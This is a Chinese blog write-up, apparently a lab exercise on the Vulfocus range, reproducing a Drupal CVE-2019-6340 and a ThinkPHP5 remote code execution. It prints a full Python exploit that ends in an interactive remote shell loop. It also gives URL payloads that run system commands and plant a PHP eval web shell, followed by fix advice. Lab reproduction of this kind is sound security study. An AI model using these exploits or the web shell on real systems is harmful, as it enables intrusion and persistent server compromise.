Vulfocus靶场漏洞复现系列—1

前言

接下来会给大家介绍一些最常见的复现漏洞过程,我所用的是Vulfocus靶场,靶场安装方法已经在上一篇文章讲过,大家可以自行去观看。如果大家想及时获取最新漏洞消息,大家可以直接cnvdhttps://www.cnvd.org.cn/去查看即可,小白入门,如果在博客中有什么错误,还请各位大佬指出。

一次出两个漏洞复现过程(本人也得上班~~~~)


一、Drupal远程代码执行漏(CVE-2019-6340)

1、漏洞介绍

Drupal官方之前更新了一个非常关键的安全补丁,修复了因为接受的反序列化数据过滤不够严格,在开启REST的Web服务拓展模块的情况下,可能导致PHP代码执行的严重安全。

根据官方公告和自身实践,8.6.x或(<8.6.10)两种情况可能导致问题出现:

RESTful Web Services拓展开启,并且启用了REST资源(默认配置即可),不需要区分GET,POST等方法即可完成攻击。

JSON:API服务模块开启,此服务尚未分析。

2、影响版本

  • Drupal 8.6.x < 8.6.10
  • Drupal 8.5.x(或更早版本) < 8.5.11

3、环境搭建

打开靶场,在镜像管理中输入CVE漏洞编号进行查询并下载

Vulfocus靶场漏洞复现系列—1_第1张图片

下载成功后再首页查看添加的漏洞,并启用访问网址

Vulfocus靶场漏洞复现系列—1_第2张图片

Vulfocus靶场漏洞复现系列—1_第3张图片

Vulfocus靶场漏洞复现系列—1_第4张图片

 4、漏洞复现

直接运行python脚本poc即可

import requests
import sys
import re

if len(sys.argv)!=2:
    print('+---------------------------------------------------------------+')
    print('+ DES: by zhzyker as https://github.com/zhzyker/exphub          +')
    print('+                    https://freeerror.org/d/488                +')
    print('+---------------------------------------------------------------+')
    print('+ USE: python3                                   +')
    print('+ EXP: python3 cve-2019-6340_cmd.py http://freeerror.org:8080   +')
    print('+ VER: Drupal < 8.6.10                                          +')
    print('+      Drupal < 8.5.12                                          +')
    print('+---------------------------------------------------------------+')
    sys.exit()

url = sys.argv[1]
cmd = "whoami"
dir = "/node/?_format=hal_json"
url_dir = url + dir
cmd_len = len(cmd)

payload = "{\r\n  \"link\": [\r\n    {\r\n      \"value\": \"link\",\r\n      \"options\": \"O:24:\\\"GuzzleHttp\\\\Psr7\\\\FnStream\\\":2:{s:33:\\\"\\u0000GuzzleHttp\\\\Psr7\\\\FnStream\\u0000methods\\\";a:1:{s:5:\\\"close\\\";a:2:{i:0;O:23:\\\"GuzzleHttp\\\\HandlerStack\\\":3:{s:32:\\\"\\u0000GuzzleHttp\\\\HandlerStack\\u0000handler\\\";s:%s:\\\"%s\\\";s:30:\\\"\\u0000GuzzleHttp\\\\HandlerStack\\u0000stack\\\";a:1:{i:0;a:1:{i:0;s:6:\\\"system\\\";}}s:31:\\\"\\u0000GuzzleHttp\\\\HandlerStack\\u0000cached\\\";b:0;}i:1;s:7:\\\"resolve\\\";}}s:9:\\\"_fn_close\\\";a:2:{i:0;r:4;i:1;s:7:\\\"resolve\\\";}}\"\r\n    }\r\n  ],\r\n  \"_links\": {\r\n    \"type\": {\r\n      \"href\": \"%s/rest/type/shortcut/default\"\r\n    }\r\n  }\r\n}" % (cmd_len,cmd,url)
headers = {
    'User-Agent': "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0",
    'Connection': "close",
    'Content-Type': "application/hal+json",
    'Accept': "*/*",
    'Cache-Control': "no-cache"   
    }
response = requests.request("POST", url_dir, data=payload, headers=headers)
if response.status_code==403 and "u0027access" in response.text :
    print ("[+] Find Drupal CVE-2019-6340 Vuln!\n")
else:
    print ("[-] Not Drupal CVE-2019-6340 Vuln! Good Luck~\n")
    sys.exit()

def do_post(cmd):
    payload = "{\r\n  \"link\": [\r\n    {\r\n      \"value\": \"link\",\r\n      \"options\": \"O:24:\\\"GuzzleHttp\\\\Psr7\\\\FnStream\\\":2:{s:33:\\\"\\u0000GuzzleHttp\\\\Psr7\\\\FnStream\\u0000methods\\\";a:1:{s:5:\\\"close\\\";a:2:{i:0;O:23:\\\"GuzzleHttp\\\\HandlerStack\\\":3:{s:32:\\\"\\u0000GuzzleHttp\\\\HandlerStack\\u0000handler\\\";s:%s:\\\"%s\\\";s:30:\\\"\\u0000GuzzleHttp\\\\HandlerStack\\u0000stack\\\";a:1:{i:0;a:1:{i:0;s:6:\\\"system\\\";}}s:31:\\\"\\u0000GuzzleHttp\\\\HandlerStack\\u0000cached\\\";b:0;}i:1;s:7:\\\"resolve\\\";}}s:9:\\\"_fn_close\\\";a:2:{i:0;r:4;i:1;s:7:\\\"resolve\\\";}}\"\r\n    }\r\n  ],\r\n  \"_links\": {\r\n    \"type\": {\r\n      \"href\": \"%s/rest/type/shortcut/default\"\r\n    }\r\n  }\r\n}" % (cmd_len,cmd,url)
       
    headers = {
        'User-Agent': "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0",
        'Connection': "close",
        'Content-Type': "application/hal+json",
        'Accept': "*/*",
        'Cache-Control': "no-cache"
        }
    global response
    response = requests.request("POST", url_dir, data=payload, headers=headers)
    r = response.text
    s = r.split("}")[1]
    print (s)

while 1:
    cmd = input("Shell >>> ")
    cmd_len = len(cmd)
    if cmd == "exit" : exit(0)
    do_post(cmd)

 Vulfocus靶场漏洞复现系列—1_第5张图片

 最终获取flag

5、修复建议

升级到最新版

二、ThinkPHP5 远程代码执行漏洞(CNVD-2018-24942)

1.漏洞介绍

ThinkPHP5 存在远程代码执行漏洞。该漏洞由于框架对控制器名未能进行足够的检测,攻击者利用该漏洞对目标网站进行远程命令执行攻击

2.影响版本

ThinkPHP 5.0.全版本

那就是这个漏洞并不是所有的都有漏洞,然后上网搜索和验证后发现了各个版本的问题所在,大家可以看下

版本名 是否可被攻击 攻击条件
5.0.0
5.0.1
5.0.2
5.0.3
5.0.4
5.0.5
5.0.6
5.0.7
5.0.8 无需开启debug
5.0.9 无需开启debug
5.0.10 无需开启debug
5.0.11 无需开启debug
5.0.12 无需开启debug
5.0.13 需开启debug
5.0.14 需开启debug
5.0.15 需开启debug
5.0.16 需开启debug
5.0.17 需开启debug
5.0.18 需开启debug
5.0.19 需开启debug
5.0.20
5.0.21 需开启debug
5.0.22 需开启debug
5.0.23 需开启debug

本人同事复现时选的版本是5.0.13~5.0.19的,一直复现不成功,用payload怎么修改都是不成功,后来才知道这些版本默认情况下config中的app_debug配置项为false,这也是为什么很多人用payload都无法复现的

3、环境搭建

Vulfocus靶场漏洞复现系列—1_第6张图片


Vulfocus靶场漏洞复现系列—1_第7张图片 4、漏洞复现

 在其地址增加路径与参数即可,最后是需要执行的命令

/index.php/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls /tmp

Vulfocus靶场漏洞复现系列—1_第8张图片

最终拿到flag

当然我们做渗透的也可以写上一句话木马进行尝试

/index.php/?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20@eval($_POST[pass])?%3E

Vulfocus靶场漏洞复现系列—1_第9张图片

 然后直接上菜刀或者蚁剑

Vulfocus靶场漏洞复现系列—1_第10张图片

但是不知道什么原因我这里链接不上,但是 确实是写进去了

5、修复建议

此漏洞是因为框架对传入的路由参数过滤不严格,导致攻击者可以操作非预期的控制器类来远程执行代码。进一步分析发现,某些ThinkPHP版本不受已公开的POC的影响,这是由于该POC缺乏完备性考虑。因此,强烈建议用户及时将5.0.x版本升级到5.0.23,将5.1.x版本升级到5.1.31,以免遭受攻击。官方修复方案

你可能感兴趣的:(漏洞复测,渗透测试)